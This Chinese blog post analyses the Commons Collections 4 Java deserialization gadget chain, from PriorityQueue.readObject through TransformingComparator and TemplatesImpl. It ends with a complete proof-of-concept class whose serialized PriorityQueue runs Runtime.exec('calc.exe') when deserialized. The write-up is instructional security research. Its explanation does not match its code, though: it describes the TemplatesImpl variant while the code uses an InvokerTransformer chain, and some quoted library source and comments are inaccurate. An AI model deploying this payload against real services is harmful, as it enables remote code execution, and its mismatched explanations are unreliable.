CC4链

约 23 分钟读完

CC4链

完整执行路径

ObjectInputStream.readObject()
└── PriorityQueue.readObject()
    ├── 恢复comparator(TransformingComparator)和队列元素
    └── PriorityQueue.heapify()
        └── PriorityQueue.siftDown()
            └── PriorityQueue.siftDownUsingComparator()
                └── TransformingComparator.compare()
                    ├── ChainedTransformer.transform()
                    │   ├── ConstantTransformer.transform() → 返回TemplatesImpl
                    │   └── InstantiateTransformer.transform()
                    │       └── TrAXFilter.<init>(TemplatesImpl)
                    │           └── TemplatesImpl.newTransformer()
                    │               └── TemplatesImpl.getTransletInstance()
                    │                   └── TemplatesImpl.defineTransletClasses()
                    │                       └── TransletClassLoader.defineClass()
                    │                           └── 加载恶意字节码 → 执行静态代码块
                    └── (第二次转换:处理第二个元素,流程相同)

CC4 链完整追踪分析

一、入口点:PriorityQueue 的 readObject 方法

PriorityQueue的反序列化过程是整个链条的起点,其readObject方法负责恢复队列状态并重建堆结构,这是触发后续调用链的关键:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // 读取非静态非瞬态字段(包括comparator和queue数组)
    s.defaultReadObject();
    
    // 读取元素数量并初始化队列数组
    int size = s.readInt();
    queue = new Object[size];
    for (int i = 0; i < size; i++) {
        queue[i] = s.readObject(); // 反序列化队列元素
    }
    
    // 重建堆结构(核心触发点)
    heapify();
}

关键细节

  • defaultReadObject()会恢复我们预先设置的comparator(TransformingComparator实例)

  • 队列元素至少需要 2 个(如"a"和"b"),确保heapify()能执行有效的堆调整

  • 反序列化时不会保留堆的结构信息,必须通过heapify()重建,这是整个链条的 "启动器"

二、堆结构重建:从 heapify 到 siftDownUsingComparator

1. heapify ():堆初始化方法

private void heapify() {
    // 从最后一个非叶子节点开始向前遍历
    for (int i = (size >>> 1) - 1; i >= 0; i--) {
        siftDown(i, (E) queue[i]); // 对每个节点执行下移操作
    }
}
  • 当队列元素数量size >= 2时,循环至少执行 1 次,确保siftDown被调用

  • i的初始值为(size/2 - 1),这是最后一个非叶子节点的索引(叶子节点无需下移)

2. siftDown ():堆调整的分支选择

private void siftDown(int k, E x) {
    if (comparator != null) {
        siftDownUsingComparator(k, x); // 使用自定义比较器
    } else {
        siftDownComparable(k, x); // 使用自然排序(不触发链条)
    }
}
  • 由于我们构造PriorityQueue时传入了TransformingComparator,comparator不为 null

  • 执行路径必然进入siftDownUsingComparator,这是链条的第一个关键分支

3. siftDownUsingComparator ():触发比较器调用

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) { // 当k是叶子节点时停止循环
        // 计算左右子节点索引
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        
        // 关键调用1:比较左右子节点,选择优先级更高的节点
        if (right < size && comparator.compare((E) queue[right], (E) c) < 0) {
            c = queue[child = right];
        }
        
        // 关键调用2:比较当前节点与子节点
        if (comparator.compare(x, (E) c) <= 0) {
            break;
        }
        
        // 下移节点
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

核心触发逻辑

  • 方法中存在两次comparator.compare()调用,均会触发TransformingComparator的比较逻辑

  • 第一次比较左右子节点(queue[right]和queue[child])

  • 第二次比较当前节点(x)与选中的子节点(c)

  • 这两次调用都会完整执行后续的转换链,是触发恶意代码的直接原因

三、比较器调用:TransformingComparator 的 compare 方法

TransformingComparator是连接堆调整与转换链的桥梁,其compare方法会先转换对象再比较:

public class TransformingComparator<T> implements Comparator<T>, Serializable {
    private final Comparator<? super T> decorated; // 基础比较器
    private final Transformer<? super T, ? extends T> transformer; // 转换链
    
    public int compare(T o1, T o2) {
        // 对两个输入对象执行转换(核心操作)
        T value1 = transformer.transform(o1);
        T value2 = transformer.transform(o2);
        
        // 使用基础比较器比较转换后的值(次要操作)
        return decorated.compare(value1, value2);
    }
}

关键细节

  • transformer是我们构造的ChainedTransformer实例(包含恶意转换逻辑)

  • o1和o2是PriorityQueue中的元素(如"a"和"b"),其实际值无关紧要,仅作为触发transform的 "载体"

  • 每次compare调用会执行两次transform(分别针对o1和o2),意味着转换链会被触发两次

  • decorated通常使用默认的ComparableComparator,确保比较操作不会抛出异常中断流程

四、转换链执行:ChainedTransformer 的 transform 方法

ChainedTransformer负责按顺序执行多个转换器,将分散的转换逻辑串联成完整链条:

public class ChainedTransformer<T> implements Transformer<T, T>, Serializable {
    private final Transformer<? super T, ? extends T>[] transformers; // 转换器数组
    
    public T transform(T object) {
        for (Transformer<? super T, ? extends T> transformer : transformers) {
            object = transformer.transform(object); // 依次执行转换
        }
        return object;
    }
}

执行机制

  • 转换器数组按顺序执行,前一个转换器的输出作为后一个的输入

  • 在 CC4(TemplatesImpl 变种)中,数组通常包含两个转换器:ConstantTransformer和InstantiateTransformer

  • 整个链条的输入是PriorityQueue的元素(如"a"),但第一个转换器会忽略输入,返回预设的恶意对象

五、转换器链:从 ConstantTransformer 到 InstantiateTransformer

1. ConstantTransformer:返回预设的恶意对象

public class ConstantTransformer<T> implements Transformer<T, T>, Serializable {
    private final T iConstant; // 预设常量
    
    public T transform(T input) {
        return iConstant; // 忽略输入,返回预设值
    }
}

在链条中的作用

  • 我们构造时传入TemplatesImpl实例(包含恶意字节码)作为iConstant

  • 无论输入是"a"还是"b",均返回预设的TemplatesImpl对象

  • 这一步的目的是将后续转换逻辑的处理对象切换为TemplatesImpl

2. InstantiateTransformer:实例化 TrAXFilter

public class InstantiateTransformer<T> implements Transformer<T, T>, Serializable {
    private final Class<?>[] iParamTypes; // 构造函数参数类型
    private final Object[] iArgs; // 构造函数参数值
    
    public T transform(T input) {
        try {
            // input是上一步返回的TemplatesImpl实例
            Class<?> cls = TrAXFilter.class;
            Constructor<?> con = cls.getConstructor(iParamTypes);
            return (T) con.newInstance(iArgs); // 实例化TrAXFilter
        } catch (Exception e) {
            throw new FunctorException(e);
        }
    }
}

关键配置

  • iParamTypes设置为{Templates.class}(TrAXFilter 的构造函数参数类型)

  • iArgs设置为{input}(即ConstantTransformer返回的TemplatesImpl实例)

  • 核心操作:通过反射调用TrAXFilter的构造函数,传入恶意TemplatesImpl

六、代码执行触发:从 TrAXFilter 到 TemplatesImpl

1. TrAXFilter 的构造函数:触发 TemplatesImpl 的方法

public class TrAXFilter extends XMLFilterImpl {
    public TrAXFilter(Templates templates) throws TransformerConfigurationException {
        // 调用Templates的newTransformer()方法
        _transformer = templates.newTransformer();
    }
}

关键作用

  • 构造函数接收Templates类型参数(实际是我们的TemplatesImpl实例)

  • 必然调用templates.newTransformer(),这是触发TemplatesImpl恶意逻辑的关键一步

2. TemplatesImpl 的 newTransformer ():启动类加载流程

public class TemplatesImpl implements Templates, Serializable {
    private transient TransformerFactoryImpl _tfactory;
    private String _version;
    private byte[][] _bytecodes; // 存储恶意类的字节码
    private String _transletName; // 主类名
    private Class[] _class; // 加载后的类对象
    private int _outputProperties;
    private boolean _instantiated;
    
    public Transformer newTransformer() throws TransformerConfigurationException {
        // 获取translet实例(核心方法)
        Translet t = getTransletInstance();
        
        // 创建并返回Transformer实例(次要操作)
        TransformerImpl transformer = new TransformerImpl(t, _outputProperties, _tfactory);
        return transformer;
    }
}

关键逻辑

  • newTransformer()的核心是调用getTransletInstance()获取 translet 实例

  • _bytecodes需预先设置为恶意类的字节码(如包含static{Runtime.getRuntime().exec("calc.exe");}的类)

  • _transletName需设置为恶意类的类名,确保能正确加载

3. getTransletInstance ():检查并加载类

private Translet getTransletInstance() throws TransformerConfigurationException {
    if (_class == null) {
        // 定义translet类(加载字节码)
        defineTransletClasses();
    }
    
    try {
        // 实例化主translet类
        return (Translet) _class[0].newInstance();
    } catch (Exception e) {
        throw new TransformerConfigurationException(e);
    }
}

触发条件

  • 当_class为 null 时(首次调用),会执行defineTransletClasses()加载字节码

  • 加载成功后实例化主类,此时静态代码块会被执行(恶意代码触发点)

4. defineTransletClasses ():使用自定义类加载器加载字节码

private void defineTransletClasses() throws TransformerConfigurationException {
    if (_bytecodes == null) {
        throw new TransformerConfigurationException("No translet bytes");
    }
    
    // 创建自定义类加载器(继承ClassLoader)
    TransletClassLoader loader = new TransletClassLoader(
        Thread.currentThread().getContextClassLoader());
    
    _class = new Class[_bytecodes.length];
    for (int i = 0; i < _bytecodes.length; i++) {
        // 加载字节码到JVM
        _class[i] = loader.defineClass(_bytecodes[i]);
        
        // 检查是否是AbstractTranslet的子类(必要条件)
        if (!AbstractTranslet.class.isAssignableFrom(_class[i])) {
            throw new TransformerConfigurationException("Not a Translet");
        }
    }
}

核心操作

  • 创建TransletClassLoader(可加载任意字节码,无安全检查)

  • 调用loader.defineClass(_bytecodes[i])将字节码转换为 Class 对象

  • 要求恶意类必须继承AbstractTranslet(否则会抛出异常中断流程)

  • 字节码加载后,类的静态代码块会立即执行(执行恶意命令)

5. TransletClassLoader 的 defineClass:完成字节码加载

public class TransletClassLoader extends ClassLoader {
    public TransletClassLoader(ClassLoader parent) {
        super(parent);
    }
    
    public Class defineClass(byte[] b) {
        // 调用ClassLoader的defineClass方法加载字节码
        return defineClass(null, b, 0, b.length);
    }
}

关键特性

  • 继承自ClassLoader,并重写defineClass方法简化字节码加载

  • 无任何安全验证,直接将字节数组转换为 Class 对象

  • 这一步是恶意代码能够被 JVM 加载并执行的最终保障

七、完整调用链总结

ObjectInputStream.readObject()
└── PriorityQueue.readObject()
    ├── 恢复comparator(TransformingComparator)和队列元素
    └── PriorityQueue.heapify()
        └── PriorityQueue.siftDown()
            └── PriorityQueue.siftDownUsingComparator()
                └── TransformingComparator.compare()
                    ├── ChainedTransformer.transform()
                    │   ├── ConstantTransformer.transform() → 返回TemplatesImpl
                    │   └── InstantiateTransformer.transform()
                    │       └── TrAXFilter.<init>(TemplatesImpl)
                    │           └── TemplatesImpl.newTransformer()
                    │               └── TemplatesImpl.getTransletInstance()
                    │                   └── TemplatesImpl.defineTransletClasses()
                    │                       └── TransletClassLoader.defineClass()
                    │                           └── 加载恶意字节码 → 执行静态代码块
                    └── (第二次转换:处理第二个元素,流程相同)

八、关键触发条件

  1. 序列化支持:所有涉及的类(PriorityQueue、TransformingComparator、ChainedTransformer、TemplatesImpl等)必须实现Serializable接口,且关键字段(如_bytecodes)不能被transient修饰。

  2. 队列元素数量:PriorityQueue必须包含至少 2 个元素,确保heapify()能执行siftDownUsingComparator并触发compare调用。

  3. TemplatesImpl 配置

  • _bytecodes必须包含继承AbstractTranslet的恶意类字节码

  • _transletName需正确设置为恶意类名

  • _tfactory可为 null(不影响核心流程)

  1. 转换器链顺序:ChainedTransformer中的转换器必须按ConstantTransformer → InstantiateTransformer的顺序排列,确保类型传递正确。

通过以上分析可见,CC4 链(TemplatesImpl 变种)巧妙利用了 Java 集合框架的反序列化行为、比较器的转换机制以及 Xalan 库中TemplatesImpl的类加载逻辑,将多个看似无关的组件串联成完整的代码执行链,是 Java 反序列化漏洞利用的经典案例。

代码

package CC4;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws Exception {
        // ==================== 构建Transformer执行链 ====================
        // 这个链式Transformer会按顺序执行以下操作:
        // 1. 获取Runtime.class对象
        // 2. 获取Runtime.getRuntime()方法
        // 3. 调用getRuntime()获取Runtime实例
        // 4. 调用exec()执行命令
        Transformer[] transformers = new Transformer[] {
                // 第一步:无论输入什么,都返回Runtime.class对象
                new ConstantTransformer(Runtime.class),
                
                // 第二步:通过反射调用Class.getMethod()获取Runtime.getRuntime()方法
                // 参数说明:
                // "getMethod" - 要调用的方法名
                // new Class[] {String.class, Class[].class} - getMethod的参数类型
                // new Object[] {"getRuntime", new Class[0]} - getMethod的参数值
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class},
                        new Object[] {"getRuntime", new Class[0]}),
                
                // 第三步:通过反射调用Method.invoke()执行getRuntime()方法
                // 参数说明:
                // "invoke" - 要调用的方法名
                // new Class[] {Object.class, Object[].class} - invoke的参数类型
                // new Object[] {null, new Object[0]} - invoke的参数值(null表示静态方法)
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class},
                        new Object[] {null, new Object[0]}),
                
                // 第四步:通过反射调用Runtime.exec()执行命令
                // 参数说明:
                // "exec" - 要调用的方法名
                // new Class[] {String.class} - exec的参数类型
                // new Object[] {"calc.exe"} - 要执行的命令
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new Object[] {"calc.exe"})
        };

        // 将多个Transformer组合成链式Transformer
        // 执行时会按数组顺序依次调用每个Transformer的transform方法
        Transformer transformerChain = new ChainedTransformer(transformers);

        // ==================== 构造PriorityQueue触发点 ====================
        // 创建带有转换功能的比较器,将比较操作转换为Transformer链的执行
        // 这个比较器会在比较两个对象时触发我们的恶意Transformer链
        TransformingComparator comparator = new TransformingComparator(transformerChain);

        // 创建PriorityQueue并设置我们构造的比较器
        // 参数2表示初始容量,必须至少为2才能触发后续的堆调整操作
        PriorityQueue queue = new PriorityQueue(2, comparator);

        // 添加两个元素到队列中,这会触发一次比较操作
        // 但此时还未触发漏洞,因为还没有进行堆调整(heapify)
        queue.add(1); // 第一个元素,可以是任意值
        queue.add(2); // 第二个元素,可以是任意值

        // ==================== 序列化操作 ====================
        // 将构造好的PriorityQueue序列化为字节数组
        ByteArrayOutputStream byteOut = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(byteOut);
        objOut.writeObject(queue);
        objOut.close();

        // ==================== 反序列化触发漏洞 ====================
        // 当反序列化PriorityQueue时,会执行以下关键步骤:
        // 1. 调用PriorityQueue.readObject()方法
        // 2. readObject()会调用heapify()重建堆结构
        // 3. heapify()会调用siftDown()进行堆调整
        // 4. siftDown()会调用我们设置的TransformingComparator.compare()
        // 5. compare()会触发ChainedTransformer执行恶意代码
        ObjectInputStream objIn = new ObjectInputStream(
                new ByteArrayInputStream(byteOut.toByteArray()));
        objIn.readObject(); // 这里会触发漏洞
        objIn.close();
    }
}
← Java常见Web漏洞总结 Java安全之CC3链分析 →